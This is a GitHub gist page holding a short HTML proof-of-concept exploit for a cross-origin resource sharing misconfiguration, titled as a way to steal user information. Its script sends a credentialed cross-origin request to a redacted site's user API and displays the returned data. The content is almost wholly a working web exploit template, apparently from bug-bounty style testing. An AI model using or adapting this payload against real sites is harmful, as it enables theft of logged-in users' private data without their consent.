Created
August 7, 2021 18:04
-
-
Save devhug/e1f0e3314a244ddb314b9f993ddf5554 to your computer and use it in GitHub Desktop.
Cross-origin resource sharing misconfig | steal user information
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<script> | |
var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://redacted.com/api/users/number',true); req.withCredentials = true; req.send('{}'); function reqListener() { alert(this.responseText); }; | |
</script> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment